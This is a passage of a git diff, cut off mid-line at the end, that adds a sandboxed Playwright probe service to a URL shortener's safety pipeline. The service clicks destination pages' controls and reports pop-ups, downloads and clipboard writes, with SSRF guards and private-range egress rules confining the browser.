diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index 13f26371..cb714e71 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -78,6 +78,29 @@ jobs: cache-to: type=gha,mode=max platforms: linux/amd64 + # The safety tier's probe browser ships beside the app under the same + # tags, so one IMAGE_TAG names a working pair. + - name: Extract metadata (browser) + id: meta_browser + uses: docker/metadata-action@v6 + with: + images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-browser + tags: | + type=semver,pattern={{version}} + type=sha,prefix=,format=short + type=raw,value=latest,enable=${{ github.event_name == 'release' }} + + - name: Build and push (browser) + uses: docker/build-push-action@v7 + with: + context: browser + push: true + tags: ${{ steps.meta_browser.outputs.tags }} + labels: ${{ steps.meta_browser.outputs.labels }} + cache-from: type=gha,scope=browser + cache-to: type=gha,mode=max,scope=browser + platforms: linux/amd64 + deploy: needs: build # run when build succeeded OR was skipped (rollback path) @@ -125,7 +148,10 @@ jobs: } set_tag "${IMAGE_TAG}" - docker compose --env-file .env -f docker-compose.prod.yml pull app + docker compose --env-file .env -f docker-compose.prod.yml pull app browser + # The probe browser is stateless and health-gated by the worker's + # fallback to Cloudflare snapshots, so it swaps first, ungated. + docker compose --env-file .env -f docker-compose.prod.yml up -d --no-deps browser docker compose --env-file .env -f docker-compose.prod.yml up -d --no-deps app if ! wait_healthy spoo_app; then diff --git a/.github/workflows/image.yml b/.github/workflows/image.yml index 91edc3e4..29d72e2f 100644 --- a/.github/workflows/image.yml +++ b/.github/workflows/image.yml @@ -74,3 +74,25 @@ jobs: cache-from: type=gha cache-to: type=gha,mode=max platforms: linux/amd64 + + # The safety tier's probe browser ships beside the app under the same + # tags, so one IMAGE_TAG names a working pair. + - name: Extract metadata (browser) + id: meta_browser + uses: docker/metadata-action@v6 + with: + images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}-browser + tags: | + type=raw,value=edge,enable=${{ github.event_name == 'push' }} + type=sha,prefix=,format=short + + - name: Build and push (browser) + uses: docker/build-push-action@v7 + with: + context: browser + push: true + tags: ${{ steps.meta_browser.outputs.tags }} + labels: ${{ steps.meta_browser.outputs.labels }} + cache-from: type=gha,scope=browser + cache-to: type=gha,mode=max,scope=browser + platforms: linux/amd64 diff --git a/browser/Dockerfile b/browser/Dockerfile new file mode 100644 index 00000000..b9e0bb8a --- /dev/null +++ b/browser/Dockerfile @@ -0,0 +1,10 @@ +FROM mcr.microsoft.com/playwright/python:v1.62.0-noble + +RUN pip install --no-cache-dir playwright==1.62.0 starlette==1.6.0 uvicorn==0.52.4 + +WORKDIR /srv +COPY probe.py /srv/probe.py + +USER pwuser +EXPOSE 8011 +CMD ["uvicorn", "probe:app", "--host", "0.0.0.0", "--port", "8011", "--no-access-log"] diff --git a/browser/probe.py b/browser/probe.py new file mode 100644 index 00000000..9e8d5f5a --- /dev/null +++ b/browser/probe.py @@ -0,0 +1,506 @@ +"""Scripted page probe: what a page DOES, not just what it shows. + +One Chromium, one context per probe. Load the URL, wait for the redirects +a plain HTTP client cannot see, screenshot, then click the page's most +prominent controls and record what each click caused: pop-ups, navigations, +downloads, dialogs, clipboard writes, notification prompts. Nothing here +judges; the investigator's model reads the record. + +The browser sits on its own docker network and every request it makes is +checked against the resolved address, so a hostile page cannot use it to +reach anything private. +""" + +from __future__ import annotations + +import asyncio +import base64 +import contextlib +import ipaddress +import json +import os +import sys +import time +from dataclasses import dataclass, field +from urllib.parse import urlparse + +from playwright.async_api import Browser, BrowserContext, Page, async_playwright +from playwright.async_api import TimeoutError as PlaywrightTimeoutError +from starlette.applications import Starlette +from starlette.requests import Request +from starlette.responses import JSONResponse +from starlette.routing import Route + +MAX_CLICKS = int(os.environ.get("PROBE_MAX_CLICKS", "3")) +GOTO_TIMEOUT_MS = int(os.environ.get("PROBE_GOTO_TIMEOUT_MS", "20000")) +SETTLE_MS = int(os.environ.get("PROBE_SETTLE_MS", "2500")) +CLICK_WAIT_MS = int(os.environ.get("PROBE_CLICK_WAIT_MS", "2500")) +PROBE_BUDGET_S = float(os.environ.get("PROBE_BUDGET_SECONDS", "60")) +CONCURRENCY = int(os.environ.get("PROBE_CONCURRENCY", "2")) +HTML_CAP = 400_000 +MAX_EVENTS = 100 +USER_AGENT = ( + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" +) + +_INIT_SCRIPT = """ +(() => { + const rec = (k, v) => { try { window.__probeRec(k, String(v == null ? '' : v).slice(0, 400)); } catch (e) {} }; + if (window.Notification && Notification.requestPermission) { + const orig = Notification.requestPermission.bind(Notification); + Notification.requestPermission = function () { rec('notification_prompt', location.href); return orig.apply(this, arguments); }; + } + if (navigator.clipboard && navigator.clipboard.writeText) { + const w = navigator.clipboard.writeText.bind(navigator.clipboard); + navigator.clipboard.writeText = (t) => { rec('clipboard_write', t); return w(t); }; + } + const ec = document.execCommand.bind(document); + document.execCommand = function (cmd) { + if (String(cmd).toLowerCase() === 'copy') { + const sel = (window.getSelection() || '').toString(); + const ae = document.activeElement; + rec('clipboard_write', sel || (ae && ae.value) || ''); + } + return ec.apply(document, arguments); + }; + const wo = window.open; + window.open = function (u) { rec('window_open', u || ''); return wo.apply(window, arguments); }; + if (navigator.serviceWorker && navigator.serviceWorker.register) { + const r = navigator.serviceWorker.register.bind(navigator.serviceWorker); + navigator.serviceWorker.register = (s, o) => { rec('service_worker', s); return r(s, o); }; + } +})(); +""" + +_CANDIDATES_JS = """ +(args) => { + const [max, skip] = args; + const KW = /play|watch|stream|continue|verify|verif|copy|download|allow|start|claim|next|get\\b|open|unlock|install|login|sign|confirm|skip|proceed|human|robot|captcha|enter|accept|lanjut|klik|mulai|tonton/i; + const vw = innerWidth, vh = innerHeight; + const seen = new Set(), out = []; + const els = document.querySelectorAll('button, a[href], [role=button], input[type=submit], input[type=button], input[type=image], video, [onclick], summary, label, div, span, img, svg'); + for (const el of els) { + const r = el.getBoundingClientRect(); + if (r.width < 24 || r.height < 16) continue; + if (r.bottom < 0 || r.right < 0 || r.top > vh || r.left > vw) continue; + const cs = getComputedStyle(el); + if (cs.visibility === 'hidden' || cs.display === 'none' || parseFloat(cs.opacity) < 0.05) continue; + const tag = el.tagName.toLowerCase(); + const role = el.getAttribute('role'); + const clickable = ['button', 'a', 'video', 'summary', 'label', 'input'].includes(tag) || role === 'button' || el.hasAttribute('onclick') || cs.cursor === 'pointer'; + if (!clickable) continue; + const text = ((el.innerText || el.value || el.getAttribute('aria-label') || el.getAttribute('title') || el.getAttribute('alt') || '') + ' ' + (typeof el.className === 'string' ? el.className : '') + ' ' + (el.id || '')).replace(/\\s+/g, ' ').trim().slice(0, 120); + const cx = r.left + Math.min(r.width, vw - r.left) / 2, cy = r.top + Math.min(r.height, vh - r.top) / 2; + const top = document.elementFromPoint(cx, cy); + if (!top || !(el === top || el.contains(top) || top.contains(el))) continue; + const key = tag + '|' + text; + if (skip.includes(key)) continue; + const pos = Math.round(cx) + ',' + Math.round(cy); + if (seen.has(pos)) continue; + seen.add(pos); + const area = Math.min(r.width * r.height, vw * vh) / (vw * vh); + const score = (KW.test(text) ? 10 : 0) + (['button', 'a', 'video'].includes(tag) || role === 'button' ? 3 : 0) + (tag === 'video' ? 4 : 0) + area * 5; + out.push({ x: cx, y: cy, tag, text, key, href: el.href || null, score }); + } + out.sort((a, b) => b.score - a.score); + return out.slice(0, max); +} +""" + +_DOC_JS = """ +() => { + const vis = (e) => { const r = e.getBoundingClientRect(); return r.width > 0 && r.height > 0; }; + const inputs = [], frames = [], text = []; + if (document.body) text.push(...document.body.innerText.split('\\n')); + const walk = (root, depth) => { + if (depth > 6) return; + for (const e of root.querySelectorAll('*')) { + const tag = e.tagName.toLowerCase(); + if ((tag === 'input' || tag === 'select' || tag === 'textarea') && vis(e) && inputs.length < 40) + inputs.push((e.getAttribute('type') || tag) + ':' + (e.name || e.id || e.placeholder || e.getAttribute('aria-label') || e.getAttribute('autocomplete') || '')); + if (tag === 'iframe' && e.src && frames.length < 20) frames.push(e.src); + if (e.shadowRoot) { + for (const c of e.shadowRoot.children) { if (c.innerText) text.push(...c.innerText.split('\\n')); } + walk(e.shadowRoot, depth + 1); + } + } + }; + walk(document, 0); + return { inputs, frames, text: text.map(t => t.trim()).filter(t => t.length > 2).slice(0, 400) }; +} +""" + + +def _log(event: str, **kw) -> None: + sys.stdout.write(json.dumps({"event": event, **kw}, default=str) + "\n") + sys.stdout.flush() + + +def _is_public_url(url: str) -> bool: + p = urlparse(url) + return p.scheme in ("http", "https") and bool(p.hostname) + + +class _Guard: + """Refuse any request whose host resolves to a non-public address.""" + + def __init__(self) -> None: + self._cache: dict[str, bool] = {} + + async def public(self, host: str) -> bool: + if host in self._cache: + return self._cache[host] + try: + ipaddress.ip_address(host) + ok = ipaddress.ip_address(host).is_global + except ValueError: + try: + infos = await asyncio.get_running_loop().getaddrinfo(host, None) + except OSError: + ok = False + else: + addrs = {ipaddress.ip_address(i[4][0]) for i in infos} + ok = bool(addrs) and all(a.is_global for a in addrs) + self._cache[host] = ok + return ok + + +@dataclass +class _Click: + target: str + href: str | None + popups: list[str] = field(default_factory=list) + navigated_to: str | None = None + downloads: list[str] = field(default_factory=list) + dialogs: list[str] = field(default_factory=list) + events: list[list[str]] = field(default_factory=list) + revealed: dict = field(default_factory=dict) + + +def _revealed(before: dict, after: dict) -> dict: + """What appeared on the page after a click: a modal's text, fresh form + fields, injected frames. A card-harvesting overlay is none of navigation, + pop-up or download, and this is where it shows.""" + seen = set(before.get("text") or []) + out = { + "text": [t for t in after.get("text") or [] if t not in seen][:8], + "inputs": [ + i + for i in after.get("inputs") or [] + if i not in (before.get("inputs") or []) + ][:12], + "frames": [ + f + for f in after.get("frames") or [] + if f not in (before.get("frames") or []) + ][:6], + } + return {k: v for k, v in out.items() if v} + + +@dataclass +class _Record: + start: float + hops: list[str] = field(default_factory=list) + auto_redirects: list[str] = field(default_factory=list) + clicks: list[_Click] = field(default_factory=list) + popups: list[str] = field(default_factory=list) + downloads: list[str] = field(default_factory=list) + dialogs: list[str] = field(default_factory=list) + events: list[list[str]] = field(default_factory=list) + blocked: list[str] = field(default_factory=list) + tasks: list = field(default_factory=list) + current: _Click | None = None + + def event(self, kind: str, detail: str) -> None: + # A page can call the binding in a loop; the record stays bounded. + if len(self.events) >= MAX_EVENTS: + if self.events[-1][0] != "truncated": + self.events.append(["truncated", f"more than {MAX_EVENTS} events"]) + return + item = [kind, detail[:400]] + self.events.append(item) + if self.current is not None: + self.current.events.append(item) + + +class Prober: + def __init__(self) -> None: + self._pw = None + self._browser: Browser | None = None + self._sem = asyncio.Semaphore(CONCURRENCY) + self._lock = asyncio.Lock() + + async def start(self) -> None: + self._pw = await async_playwright().start() + await self._launch() + + async def _launch(self) -> None: + self._browser = await self._pw.chromium.launch( + args=["--disable-dev-shm-usage", "--disable-gpu", "--no-first-run"] + ) + _log("browser_launched", version=self._browser.version) + + async def stop(self) -> None: + if self._browser: + await self._browser.close() + if self._pw: + await self._pw.stop() + + async def _browser_ready(self) -> Browser: + async with self._lock: + if self._browser is None or not self._browser.is_connected(): + _log("browser_relaunch") + await self._launch() + return self._browser + + async def probe(self, url: str) -> dict: + async with self._sem: + browser = await self._browser_ready() + context = await browser.new_context( + viewport={"width": 1280, "height": 800}, + user_agent=USER_AGENT, + locale="en-US", + ignore_https_errors=True, + accept_downloads=True, + service_workers="block", + ) + try: + return await asyncio.wait_for( + self._run(context, url), timeout=PROBE_BUDGET_S + ) + finally: + await context.close() + + async def _run(self, context: BrowserContext, url: str) -> dict: + rec = _Record(start=time.monotonic()) + guard = _Guard() + + async def route(r, request): + host = urlparse(request.url).hostname or "" + if not _is_public_url(request.url) or not await guard.public(host): + rec.blocked.append(request.url[:200]) + await r.abort() + return + await r.continue_() + + await context.route("**/*", route) + await context.expose_binding( + "__probeRec", lambda source, k, v: rec.event(str(k), str(v)) + ) + await context.add_init_script(_INIT_SCRIPT) + + page = await context.new_page() + + def on_new_page(p: Page) -> None: + async def settle() -> None: + with contextlib.suppress(Exception): + await p.wait_for_load_state("domcontentloaded", timeout=4000) + target = p.url + rec.popups.append(target) + if rec.current is not None: + rec.current.popups.append(target) + with contextlib.suppress(Exception): + await p.close() + + rec.tasks.append(asyncio.ensure_future(settle())) + + def on_dialog(d) -> None: + msg = f"{d.type}: {d.message}"[:300] + rec.dialogs.append(msg) + if rec.current is not None: + rec.current.dialogs.append(msg) + rec.tasks.append(asyncio.ensure_future(d.dismiss())) + + def on_download(dl) -> None: + desc = f"{dl.suggested_filename} from {dl.url}"[:300] + rec.downloads.append(desc) + if rec.current is not None: + rec.current.downloads.append(desc) + rec.tasks.append(asyncio.ensure_future(dl.cancel())) + + context.on("page", on_new_page) + page.on("dialog", on_dialog) + page.on("download", on_download) + + try: + response = await page.goto( + url, wait_until="domcontentloaded", timeout=GOTO_TIMEOUT_MS + ) + except PlaywrightTimeoutError: + # A page that never fires DOMContentLoaded (endless beacons) can + # still have committed a document worth looking at. + rec.event( + "goto_slow", "domcontentloaded timed out, using committed document" + ) + response = await page.goto( + url, wait_until="commit", timeout=GOTO_TIMEOUT_MS + ) + if response is not None: + req = response.request + chain = [] + while req is not None: + chain.append(req.url) + req = req.redirected_from + rec.hops = list(reversed(chain)) + with contextlib.suppress(Exception): + await page.wait_for_load_state("networkidle", timeout=5000) + landed = page.url + await page.wait_for_timeout(SETTLE_MS) + if page.url != landed: + rec.auto_redirects.append(page.url) + + title = await _safe_title(page) + html = (await _safe_content(page))[:HTML_CAP] + shot_before = await _safe_shot(page) + + skip: list[str] = [] + clicks_left, scrolls_left = MAX_CLICKS, 2 + while clicks_left: + try: + cands = await page.evaluate(_CANDIDATES_JS, [1, skip]) + except Exception as exc: + rec.event("candidates_failed", f"{type(exc).__name__}: {exc}") + break + if not cands: + if not scrolls_left: + break + scrolls_left -= 1 + await page.mouse.wheel(0, 700) + await page.wait_for_timeout(500) + continue + clicks_left -= 1 + c = cands[0] + skip.append(c["key"]) + click = _Click(target=f"{c['tag']} '{c['text']}'", href=c.get("href")) + rec.current = click + rec.clicks.append(click) + before_url = page.url + try: + before_doc = await page.evaluate(_DOC_JS) + except Exception as exc: + rec.event("doc_diff_failed", f"{type(exc).__name__}: {exc}") + before_doc = {} + try: + await page.mouse.click(c["x"], c["y"]) + except Exception as exc: + click.events.append(["click_failed", type(exc).__name__]) + rec.current = None + continue + await page.wait_for_timeout(CLICK_WAIT_MS) + if click.popups: + await page.wait_for_timeout(1000) + if page.url != before_url: + click.navigated_to = page.url + rec.current = None + break + try: + after_doc = await page.evaluate(_DOC_JS) + except Exception as exc: + rec.event("doc_diff_failed", f"{type(exc).__name__}: {exc}") + else: + click.revealed = _revealed(before_doc, after_doc) + rec.current = None + + shot_after = await _safe_shot(page) + if shot_after == shot_before: + shot_after = b"" + + return { + "url": url, + "final_url": page.url, + "landed_url": landed, + "title": title, + "html": html, + "screenshot": base64.b64encode(shot_before).decode() if shot_before else "", + "screenshot_after": base64.b64encode(shot_after).decode() + if shot_after + else "", + "screenshot_type": "image/jpeg", + "hops": rec.hops, + "auto_redirects": rec.auto_redirects, + "clicks": [c.__dict__ for c in rec.clicks], + "popups": rec.popups, + "downloads": rec.downloads, + "dialogs": rec.dialogs, + "events": rec.events, + "blocked_requests": rec.blocked[:20], + "elapsed_ms": int((time.monotonic() - rec.start) * 1000), + } + + +async def _safe_title(page: Page) -> str: + try: + return await page.title() + except Exception: + return "" + + +async def _safe_content(page: Page) -> str: + try: + return await page.content() + except Exception: + return "" + + +async def _safe_shot(page: Page) -> bytes: + try: + return await page.screenshot(type="jpeg", quality=60, timeout=8000) + except Exception: + return b"" + + +prober = Prober() + + +async def health(_: Request) -> JSONResponse: + ok = prober._browser is not None and prober._browser.is_connected() + return JSONResponse({"ok": ok}, status_code=200 if ok else 503) + + +async def probe(request: Request) -> JSONResponse: + try: + body = await request.json() + except Exception: + return JSONResponse({"error": "invalid json"}, status_code=400) + url = str(body.get("url", "")) + if not _is_public_url(url): + return JSONResponse({"error": "http/https URL required"}, status_code=400) + started = time.monotonic() + try: + result = await prober.probe(url) + except asyncio.TimeoutError: + _log("probe_timeout", url=url) + return JSONResponse({"error": "probe budget exceeded"}, status_code=504) + except Exception as exc: + _log( + "probe_failed", url=url, error=str(exc)[:300], error_type=type(exc).__name__ + ) + return JSONResponse( + {"error": f"{type(exc).__name__}: {str(exc)[:200]}"}, status_code=502 + ) + _log( + "probe_done", + url=url, + final_url=result["final_url"], + clicks=len(result["clicks"]), + popups=len(result["popups"]), + elapsed_ms=int((time.monotonic() - started) * 1000), + ) + return JSONResponse(result) + + +@contextlib.asynccontextmanager +async def lifespan(_: Starlette): + await prober.start() + try: + yield + finally: + await prober.stop() + + +app = Starlette( + routes=[Route("/health", health), Route("/probe", probe, methods=["POST"])], + lifespan=lifespan, +) diff --git a/codecov.yml b/codecov.yml new file mode 100644 index 00000000..aee991a0 --- /dev/null +++ b/codecov.yml @@ -0,0 +1,4 @@ +# The probe browser is a separate service with its own runtime (Playwright); +# it is exercised against live pages, not by the app's test suite. +ignore: + - "browser/**" diff --git a/config.py b/config.py index 065687ea..3cd6d8c2 100644 --- a/config.py +++ b/config.py @@ -594,6 +594,10 @@ class SafetySettings(BaseSettings): deep_report_daily_budget: int = Field(default=200, ge=1) deep_daily_budget: int = Field(default=200, ge=1) deep_admit_sweeps: bool = False + # L2 render egress: the scripted-browser probe (browser/probe.py) that + # clicks the page. Empty = one-shot Cloudflare snapshot only. + browser_probe_url: str = "" + browser_probe_timeout_seconds: float = Field(default=75.0, ge=5.0) # Auto-block policy for a model toxic verdict: # corroborated — a hard source (report, feed, Web Risk) must agree # (default; the model alone goes to review) diff --git a/docker-compose.yml b/docker-compose.yml index ab0a2e94..699b5b80 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -105,6 +105,8 @@ services: - CLICK_EVENTS_SINK=stream - CLICK_EVENTS_QUEUE_REDIS_URI=redis://redis-queue:6379/0 - CLICK_EVENTS_HOTNESS_ENABLED=true + - SAFETY_BROWSER_PROBE_URL=http://browser:8011 + networks: [default, probenet] healthcheck: test: ["CMD", "curl", "-fsS", "http://localhost:8001/health"] interval: 15s @@ -112,7 +114,28 @@ services: retries: 3 start_period: 15s + # Scripted browser probe for the safety deep tier: loads a destination, + # clicks its prominent controls, reports what happened. Own network in + # prod so a hostile page cannot reach the other services. + browser: + build: ./browser + container_name: spoo_browser + profiles: ["click-events"] + networks: [probenet] + healthcheck: + test: ["CMD", "python3", "-c", "import urllib.request; urllib.request.urlopen('http://127.0.0.1:8011/health', timeout=3)"] + interval: 15s + timeout: 5s + retries: 3 + start_period: 20s + volumes: mongo-data: mongo-config: redis-queue-data: + +networks: + # The probe browser renders hostile pages: it only ever shares a network + # with the worker that calls it. See infrastructure/probenet-egress.sh. + probenet: + driver: bridge diff --git a/infrastructure/browser_probe.py b/infrastructure/browser_probe.py new file mode 100644 index 00000000..7ed2b9d3 --- /dev/null +++ b/infrastructure/browser_probe.py @@ -0,0 +1,190 @@ +"""Own-browser probe client: the render egress that also CLICKS. + +The probe service (``browser/probe.py``) loads a page in our own Chromium, +screenshots it, clicks its most prominent controls and records what each +click caused. This client turns that record into plain observations for +the investigator's model, so "what a click does" is something the model +READ, never something it inferred from script tags. + +Failures return None: the caller falls back to the one-shot Cloudflare +snapshot, which sees the page but cannot touch it. +""" + +from __future__ import annotations + +import base64 +from dataclasses import dataclass + +from infrastructure.http_client import HttpClient +from infrastructure.logging import get_logger +from shared.url_utils import registrable_domain + +log = get_logger(__name__) + +EGRESS_LABEL = "our own browser (Hetzner datacenter IP), scripted probe" + + +@dataclass(frozen=True) +class ProbeResult: + url: str + final_url: str + html: str + screenshot: bytes + screenshot_after: bytes + media_type: str + observations: str + egress: str = EGRESS_LABEL + + +def _host(url: str) -> str: + from urllib.parse import urlparse + + return urlparse(url).hostname or "" + + +def _cross(a: str, b: str) -> str: + return ( + " [cross-domain]" + if registrable_domain(_host(a)) != registrable_domain(_host(b)) + else "" + ) + + +def format_observations(body: dict) -> str: + """The probe record as facts, one line per thing that happened.""" + url = body.get("url", "") + landed = body.get("landed_url") or body.get("final_url") or url + hops = body.get("hops") or [url] + lines = [ + "A scripted probe loaded the page, then clicked its most prominent " + "controls. This is what HAPPENED, not what the markup suggests:" + ] + loaded = ( + f"{' → '.join(hops)} ({len(hops) - 1} HTTP redirect hops)" + if len(hops) > 1 + else hops[0] + ) + if landed.rstrip("/") != hops[-1].rstrip("/"): + loaded += ( + f" → landed on {landed}{_cross(hops[-1], landed)} (JS or meta refresh)" + ) + lines.append(f"loaded: {loaded}") + autos = body.get("auto_redirects") or [] + if autos: + for target in autos: + lines.append( + f"after load: redirected on its own to {target}{_cross(landed, target)}" + ) + else: + lines.append("after load: stayed on the page, no automatic redirect") + clicks = body.get("clicks") or [] + if not clicks: + lines.append("clicks: no visible clickable control found") + for i, c in enumerate(clicks, start=1): + effects = [] + for p in c.get("popups") or []: + effects.append(f"opened pop-up {p}{_cross(landed, p)}") + nav = c.get("navigated_to") + if nav: + effects.append(f"navigated to {nav}{_cross(landed, nav)}") + for d in c.get("downloads") or []: + effects.append(f"started download {d}") + for d in c.get("dialogs") or []: + effects.append(f"dialog {d}") + rev = c.get("revealed") or {} + if rev.get("text"): + effects.append( + "revealed on the page: " + " | ".join(repr(t[:80]) for t in rev["text"]) + ) + if rev.get("inputs"): + effects.append("new form fields: " + ", ".join(rev["inputs"])) + if rev.get("frames"): + effects.append( + "new frames from: " + + ", ".join(_host(f) or f[:60] for f in rev["frames"]) + ) + for kind, detail in c.get("events") or []: + if kind == "clipboard_write": + effects.append(f"WROTE TO CLIPBOARD: {detail!r}") + elif kind == "notification_prompt": + effects.append("asked for notification permission") + elif kind == "click_failed": + effects.append("click failed") + if not effects and not nav: + effects.append("nothing observable, stayed on page") + lines.append(f"click {i}: {c.get('target', '?')} → {'; '.join(effects)}") + clip = [d for k, d in body.get("events") or [] if k == "clipboard_write"] + lines.append( + "clipboard writes: " + (", ".join(repr(c) for c in clip) if clip else "none") + ) + prompted = any(k == "notification_prompt" for k, _ in body.get("events") or []) + lines.append( + "notification permission prompt: " + + ("requested" if prompted else "not requested") + ) + downloads = body.get("downloads") or [] + lines.append("downloads: " + (", ".join(downloads) if downloads else "none")) + dialogs = body.get("dialogs") or [] + lines.append("dialogs: " + (", ".join(dialogs) if dialogs else "none")) + failed = [d for k, d in body.get("events") or [] if k == "candidates_failed"] + if failed: + lines.append(f"probe note: could not enumerate controls ({failed[0]})") + blocked = body.get("blocked_requests") or [] + if blocked: + lines.append(f"requests to private addresses refused: {len(blocked)}") + lines.append(f"final page: {body.get('final_url') or landed}") + return "\n".join(lines) + + +class BrowserProbeClient: + def __init__( + self, http_client: HttpClient, *, base_url: str, timeout_seconds: float = 75.0 + ) -> None: + self._http = http_client + self._base = base_url.rstrip("/") + self._timeout = timeout_seconds + + @property + def configured(self) -> bool: + return bool(self._base) + + async def probe(self, url: str) -> ProbeResult | None: + if not self.configured: + return None + try: + response = await self._http.post( + f"{self._base}/probe", json={"url": url}, timeout=self._timeout + ) + response.raise_for_status() + body = response.json() + except Exception as exc: + log.warning( + "browser_probe_failed", + url=url, + error=str(exc)[:300], + error_type=type(exc).__name__, + ) + return None + html = body.get("html") or "" + shot = _b64(body.get("screenshot")) + if not html and not shot: + log.warning("browser_probe_empty", url=url) + return None + return ProbeResult( + url=url, + final_url=body.get("final_url") or url, + html=html, + screenshot=shot, + screenshot_after=_b64(body.get("screenshot_after")), + media_type=body.get("screenshot_type") or "image/jpeg", + observations=format_observations(body), + ) + + +def _b64(value: str | None) -> bytes: + if not value: + return b"" + try: + return base64.b64decode(value) + except Exception: + return b"" diff --git a/infrastructure/ops_notify.py b/infrastructure/ops_notify.py index 2c927a5d..406fc407 100644 --- a/infrastructure/ops_notify.py +++ b/infrastructure/ops_notify.py @@ -25,11 +25,20 @@ from infrastructure.http_client import HttpClient from infrastructure.logging import get_logger +from shared.image_sniff import EXT, MIME, sniff_image log = get_logger(__name__) -_IMAGE_NAME = "evidence.webp" Channel = Literal["report", "contact"] + + +def _attachment(image: bytes) -> tuple[str, str]: + """Discord renders the embed image only when name and type match the bytes.""" + info = sniff_image(image) + fmt = info.format if info else "webp" + return f"evidence.{EXT[fmt]}", MIME[fmt] + + _CHANNELS = frozenset(("report", "contact")) # Discord's per-field cap; the fences count. _FIELD_MAX = 1024 @@ -278,11 +287,12 @@ async def _deliver( if image: # Discord webhooks take the image as a multipart file; the # embed refers to it by attachment name. - payload["embeds"][0]["image"] = {"url": f"attachment://{_IMAGE_NAME}"} + name, mime = _attachment(image) + payload["embeds"][0]["image"] = {"url": f"attachment://{name}"} response = await self._http.post( url, data={"payload_json": json.dumps(payload)}, - files={"files[0]": (_IMAGE_NAME, image, "image/webp")}, + files={"files[0]": (name, image, mime)}, follow_redirects=False, ) else: diff --git a/infrastructure/probenet-egress.sh b/infrastructure/probenet-egress.sh new file mode 100755 index 00000000..47c796af --- /dev/null +++ b/infrastructure/probenet-egress.sh @@ -0,0 +1,27 @@ +#!/usr/bin/env bash +# Deny private-range egress from the probe browser's docker network. +# +# The probe checks a page's hosts against public addresses before the +# request, but Chromium resolves again to connect, so a DNS-rebinding page +# (public answer for the check, private answer for the connect) could reach +# whatever the container's network can. Its own network already hides the +# other services; this rule closes the host and any other bridge too. +# +# Usage (as root, on the box running the compose): +# infrastructure/probenet-egress.sh +set -euo pipefail + +subnet="${1:?probenet subnet required, e.g. 172.31.0.0/24}" + +for dst in 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 169.254.0.0/16 100.64.0.0/10 127.0.0.0/8; do + # Idempotent: insert only when the identical rule is not already present. + if ! iptables -C DOCKER-USER -s "$subnet" -d "$dst" -j DROP 2>/dev/null; then + iptables -I DOCKER-USER -s "$subnet" -d "$dst" -j DROP + fi +done +# The worker talks to the browser inside this subnet, which the private +# ranges above cover; let that traffic through before the drops. +if ! iptables -C DOCKER-USER -s "$subnet" -d "$subnet" -j RETURN 2>/dev/null; then + iptables -I DOCKER-USER 1 -s "$subnet" -d "$subnet" -j RETURN +fi +iptables -S DOCKER-USER | grep -- "-s ${subnet%/*}" diff --git a/pyproject.toml b/pyproject.toml index 4feab3bb..0f8fbb11 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -61,6 +61,8 @@ omit = [ "*/conftest.py", ".venv/*", "main.py", + # Separate service with its own runtime (Playwright); not importable here. + "browser/*", ] [tool.coverage.report] diff --git a/repositories/url_repository.py b/repositories/url_repository.py index 276df3a4..37ee7eca 100644 --- a/repositories/url_repository.py +++ b/repositories/url_repository.py @@ -415,6 +415,32 @@ async def list_by_dest_host_with_urls( ) return [(d["alias"], d.get("domain", ""), d.get("long_url", "")) for d in docs] + async def list_recent_by_dest_host( + self, host: str, *, limit: int = 15 + ) -> list[dict]: + """The newest links pointing at *host*, with who made each and when: + the campaign shape of a small host, for the investigation bundle.""" + cursor = ( + self._col.find( + {"dest.host": host}, + {"alias": 1, "domain": 1, "long_url": 1, "owner_id": 1, "status": 1}, + ) + .sort("_id", -1) + .limit(limit) + ) + docs = await cursor.to_list(length=limit) + return [ + { + "alias": d.get("alias", ""), + "domain": d.get("domain", ""), + "long_url": d.get("long_url", ""), + "anonymous": d.get("owner_id") in (None, ANONYMOUS_OWNER_ID), + "status": d.get("status", ""), + "created_at": d["_id"].generation_time, + } + for d in docs + ] + async def unblock_by_dest_host(self, host: str) -> int: """Flip BLOCKED links pointing at *host* back to ACTIVE, scoped to docs carrying ``blocked_reason`` so a manual operator ban is never diff --git a/services/safety/investigation.py b/services/safety/investigation.py index 3fb4b858..babd576f 100644 --- a/services/safety/investigation.py +++ b/services/safety/investigation.py @@ -19,10 +19,13 @@ from __future__ import annotations +import asyncio +from collections import Counter from dataclasses import dataclass from enum import Enum from pathlib import Path from typing import Literal +from urllib.parse import urlparse from pydantic import BaseModel, Field @@ -41,6 +44,7 @@ reset_hard_hit, reset_last_render, saw_hard_hit, + terminal_url_impl, ) from shared.validators import is_valid_pattern, matching_blocked_pattern @@ -214,14 +218,67 @@ def build_investigate_task(prompt_dir: str = "", tools=()) -> LlmTask: ) +# Sibling links are listed only for a host this small: on a shared platform +# (a site builder, a big shortener) they belong to strangers and say nothing. +SIBLING_CAP = 15 +_SIBLING_BUDGET_S = 12.0 + + +async def sibling_section( + event: SafetyAnalyzeEvent, url_repo: UrlRepository, resolve=terminal_url_impl +) -> list[str]: + """Every link we hold on this host and where each one ends up over + HTTP: nine links from one anonymous creator in three minutes, all to + fake players, is campaign shape no single render shows.""" + try: + siblings = list( + await url_repo.list_recent_by_dest_host(event.host, limit=SIBLING_CAP) + ) + except Exception as exc: + log.warning("siblings_unavailable", host=event.host, error=str(exc)) + return [] + if not siblings: + return [] + try: + targets = await asyncio.wait_for( + asyncio.gather( + *(resolve(s["long_url"]) for s in siblings), return_exceptions=True + ), + timeout=_SIBLING_BUDGET_S, + ) + except (asyncio.TimeoutError, TimeoutError): + targets = [None] * len(siblings) + anon = sum(1 for s in siblings if s.get("anonymous")) + stamps = sorted(s["created_at"] for s in siblings if s.get("created_at")) + lines = [ + "## Sibling links on this host (every link we hold; HTTP redirects followed)", + f"{len(siblings)} links, {anon} anonymous, {len(siblings) - anon} from accounts", + ] + if stamps: + lines.append( + f"created between {stamps[0]:%Y-%m-%d %H:%M} and {stamps[-1]:%Y-%m-%d %H:%M} UTC" + ) + hosts: Counter[str] = Counter() + for s, t in zip(siblings, targets, strict=True): + dest = t if isinstance(t, str) and t else None + mark = " [the link under 